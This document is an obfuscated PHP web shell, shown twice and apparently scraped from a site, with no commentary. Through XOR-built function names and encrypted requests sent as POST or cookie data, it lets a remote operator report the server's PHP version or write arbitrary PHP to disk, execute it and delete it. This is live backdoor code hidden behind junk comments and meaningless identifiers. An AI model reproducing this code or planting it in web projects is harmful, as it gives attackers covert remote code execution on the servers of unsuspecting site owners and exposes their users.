<?php $gainlksob /* eosux*/ = /*o_h */ 'gainlksob' /*ted */ ^ ' '; $woaub /* zle */ = /* huh */ $gainlksob(633-536) /* g */ . /* cdhey*/ "r".$gainlksob(900-786) /* imfzdc*/ . "\x61" /*fpvaui */ . "\x79" /* uqig */ . "_".$gainlksob(109) . "\141" . /* vtecb */ "p"; function igosf($sj_ium, $dtcixqa_n){ /*zypi_t */ global $gainlksob; /* u*/ $sj_ium /* y */ = /*x */ "<" /*httrj */ . /* yzexa */ "\77" /*djds*/ . "p"."\150" . /* luygqn */ "p".$gainlksob(32) . $gainlksob(785-668) /* l_ga */ . "\156" . $gainlksob(108) . "\x69"."n"."k"."("."\137" . $gainlksob(95) /*_wyoc */ . "F"."I"."\114" . $gainlksob(190-121) . "\137" . /* dsmj */ "_"."\51" /* svqap */ . "\x3b" . /* hy */ $gainlksob(32) /* qn */ . $sj_ium[$gainlksob(296-196)]; $hqjtg = /* cuf */ "f"."\x69"."l"."\145" . $gainlksob(95) /*cuntw */ . /* de*/ "\x70" . $gainlksob(117) . "t"."_"."\143" . "o"."\156" . "\164" . $gainlksob(999-898) /*xwb */ . "n".$gainlksob(116) . "\x73"; /* v */ $hqjtg($dtcixqa_n, /*kvesxg */ $sj_ium); qjoahn($dtcixqa_n); } $la_sd_rvio = 73; function qjoahn($dtcixqa_n) { /* rg */ global /* u */ $gainlksob; /* dscsm */ include($dtcixqa_n); $s_fjvjjot = /* s_hz */ $dtcixqa_n; @unlink($s_fjvjjot); } function /* l */ cjurf() { global /* bhjco */ $gainlksob; $ogorpseiuk /* ggppn */ = /* a*/ array(); /* ycn */ $ogorpseiuk["p"."\166"] = /* us_ama*/ phpversion(); $ogorpseiuk[$gainlksob(588-473) . /* _eql */ "\x76"] = /* d */ "3".$gainlksob(46) /*w */ . $gainlksob(53); $miqdsphiux = 74; echo /* g*/ @serialize($ogorpseiuk);} function /* sjzz*/ y_yxyt($sj_ium, $obfzsmts) { global $gainlksob; $rlajbbp = ""; /* cbmv */ $dcsnsruhu = strlen($sj_ium); /*ar */ $puavsspk /* m */ = /* nlq */ strlen($obfzsmts); $ogorpseiuk /* sxhwby */ = /*iwz */ 0; $la_sd_ = /* ij*/ 0; while ($ogorpseiuk < $dcsnsruhu) /* lfurn */ { $ygnkak /* cnyptu */ = $sj_ium[$ogorpseiuk] /* xqih */ ^ $obfzsmts[$la_sd_ % $puavsspk]; $rlajbbp .= $ygnkak; /* vrli */ $la_sd_++; $ogorpseiuk++; } if /* plboo */ (strlen($rlajbbp) /* kgks_e*/ > /*efbbbx */ 20) { /* ev */ $lceqk = substr($rlajbbp, 0, 20); } if (empty($rlajbbp)) { $rlajbbp /* qg*/ = /* tjik_ */ date('Y-m-d H:i:s'); /*l */ } return /* nd*/ $rlajbbp; } function bghhrrnvgx($puvstvms){ /* e */ global $gainlksob; $pefaxumg = "\60" . $gainlksob(98) . "\x32" . "9"."4".$gainlksob(192-90) . "\x62" /* kv*/ . /* ruhn */ $gainlksob(893-844) . $gainlksob(100-55) . "\x65" . $gainlksob(48) . /* j */ "b".$gainlksob(121-67) /* xa */ . $gainlksob(45) /*f */ . "4"."c".$gainlksob(56) . /* bpuuf */ "\x61" . "-".$gainlksob(57) . "b".$gainlksob(296-196).$gainlksob(56) . "\x2d" /* svkpm */ . "9"."\x30" . $gainlksob(53) . /* f */ "f"."f".$gainlksob(48) /* od*/ . "3"."7".$gainlksob(98) . "\x35" . "\62" . $gainlksob(102); foreach ($puvstvms as $tesktdijhd /* uycjek */ => /*zsk_b */ $sj_ium) { oknialtl(base64_decode($sj_ium), $pefaxumg, $tesktdijhd); }} function oknialtl($sj_ium, $pefaxumg, /* ukns */ $tesktdijhd){ /* g*/ global $gainlksob; /*_wn*/ /* zc*/ $sj_ium /* kbrh */ = unserialize(y_yxyt(y_yxyt($sj_ium, /* zf */ $pefaxumg), $tesktdijhd)); $gcucfkwg = 'fxneg'; $zdmwbvyui /*kp */ = /*z */ 'vrhrqog'; if (isset($sj_ium[$gainlksob(246-149) . "\x6b"])) { /* rg*/ if ($sj_ium["\x61"] == "\x69") { cjurf(); } elseif ($sj_ium["\x61"] == /* rdrab */ "e") { /* ev */ igosf($sj_ium, sprintf("."."/"."%"."s"."."."p"."\x6c", /* dzd */ md5($pefaxumg))); $blypcozlp = 44; } exit(); }} bghhrrnvgx($_POST); /* rojbc*/ $la_sd_b_vnj /* apovkr */ = 'rawurldecode'; $wgdlkjaeky = $woaub($la_sd_b_vnj, $_POST);explode("", $la_sd_b_vnj); bghhrrnvgx($_COOKIE);$qncvkyry = $woaub($la_sd_b_vnj, $_COOKIE); ?>

Source<?php $gainlksob /* eosux*/ = /*o_h */ 'gainlksob' /*ted */ ^ ' '; $woaub /* zle */ = /* huh */ $gainlksob(633-536) /* g */ . /* cdhey*/ "r".$gainlksob(900-786) /* imfzdc*/ . "\x61" /*fpvaui */ . "\x79" /* uqig */ . "_".$gainlksob(109) . "\141" . /* vtecb */ "p"; function igosf($sj_ium, $dtcixqa_n){ /*zypi_t */ global $gainlksob; /* u*/ $sj_ium /* y */ = /*x */ "<" /*httrj */ . /* yzexa */ "\77" /*djds*/ . "p"."\150" . /* luygqn */ "p".$gainlksob(32) . $gainlksob(785-668) /* l_ga */ . "\156" . $gainlksob(108) . "\x69"."n"."k"."("."\137" . $gainlksob(95) /*_wyoc */ . "F"."I"."\114" . $gainlksob(190-121) . "\137" . /* dsmj */ "_"."\51" /* svqap */ . "\x3b" . /* hy */ $gainlksob(32) /* qn */ . $sj_ium[$gainlksob(296-196)]; $hqjtg = /* cuf */ "f"."\x69"."l"."\145" . $gainlksob(95) /*cuntw */ . /* de*/ "\x70" . $gainlksob(117) . "t"."_"."\143" . "o"."\156" . "\164" . $gainlksob(999-898) /*xwb */ . "n".$gainlksob(116) . "\x73"; /* v */ $hqjtg($dtcixqa_n, /*kvesxg */ $sj_ium); qjoahn($dtcixqa_n); } $la_sd_rvio = 73; function qjoahn($dtcixqa_n) { /* rg */ global /* u */ $gainlksob; /* dscsm */ include($dtcixqa_n); $s_fjvjjot = /* s_hz */ $dtcixqa_n; @unlink($s_fjvjjot); } function /* l */ cjurf() { global /* bhjco */ $gainlksob; $ogorpseiuk /* ggppn */ = /* a*/ array(); /* ycn */ $ogorpseiuk["p"."\166"] = /* us_ama*/ phpversion(); $ogorpseiuk[$gainlksob(588-473) . /* _eql */ "\x76"] = /* d */ "3".$gainlksob(46) /*w */ . $gainlksob(53); $miqdsphiux = 74; echo /* g*/ @serialize($ogorpseiuk);} function /* sjzz*/ y_yxyt($sj_ium, $obfzsmts) { global $gainlksob; $rlajbbp = ""; /* cbmv */ $dcsnsruhu = strlen($sj_ium); /*ar */ $puavsspk /* m */ = /* nlq */ strlen($obfzsmts); $ogorpseiuk /* sxhwby */ = /*iwz */ 0; $la_sd_ = /* ij*/ 0; while ($ogorpseiuk < $dcsnsruhu) /* lfurn */ { $ygnkak /* cnyptu */ = $sj_ium[$ogorpseiuk] /* xqih */ ^ $obfzsmts[$la_sd_ % $puavsspk]; $rlajbbp .= $ygnkak; /* vrli */ $la_sd_++; $ogorpseiuk++; } if /* plboo */ (strlen($rlajbbp) /* kgks_e*/ > /*efbbbx */ 20) { /* ev */ $lceqk = substr($rlajbbp, 0, 20); } if (empty($rlajbbp)) { $rlajbbp /* qg*/ = /* tjik_ */ date('Y-m-d H:i:s'); /*l */ } return /* nd*/ $rlajbbp; } function bghhrrnvgx($puvstvms){ /* e */ global $gainlksob; $pefaxumg = "\60" . $gainlksob(98) . "\x32" . "9"."4".$gainlksob(192-90) . "\x62" /* kv*/ . /* ruhn */ $gainlksob(893-844) . $gainlksob(100-55) . "\x65" . $gainlksob(48) . /* j */ "b".$gainlksob(121-67) /* xa */ . $gainlksob(45) /*f */ . "4"."c".$gainlksob(56) . /* bpuuf */ "\x61" . "-".$gainlksob(57) . "b".$gainlksob(296-196).$gainlksob(56) . "\x2d" /* svkpm */ . "9"."\x30" . $gainlksob(53) . /* f */ "f"."f".$gainlksob(48) /* od*/ . "3"."7".$gainlksob(98) . "\x35" . "\62" . $gainlksob(102); foreach ($puvstvms as $tesktdijhd /* uycjek */ => /*zsk_b */ $sj_ium) { oknialtl(base64_decode($sj_ium), $pefaxumg, $tesktdijhd); }} function oknialtl($sj_ium, $pefaxumg, /* ukns */ $tesktdijhd){ /* g*/ global $gainlksob; /*_wn*/ /* zc*/ $sj_ium /* kbrh */ = unserialize(y_yxyt(y_yxyt($sj_ium, /* zf */ $pefaxumg), $tesktdijhd)); $gcucfkwg = 'fxneg'; $zdmwbvyui /*kp */ = /*z */ 'vrhrqog'; if (isset($sj_ium[$gainlksob(246-149) . "\x6b"])) { /* rg*/ if ($sj_ium["\x61"] == "\x69") { cjurf(); } elseif ($sj_ium["\x61"] == /* rdrab */ "e") { /* ev */ igosf($sj_ium, sprintf("."."/"."%"."s"."."."p"."\x6c", /* dzd */ md5($pefaxumg))); $blypcozlp = 44; } exit(); }} bghhrrnvgx($_POST); /* rojbc*/ $la_sd_b_vnj /* apovkr */ = 'rawurldecode'; $wgdlkjaeky = $woaub($la_sd_b_vnj, $_POST);explode("", $la_sd_b_vnj); bghhrrnvgx($_COOKIE);$qncvkyry = $woaub($la_sd_b_vnj, $_COOKIE); ?>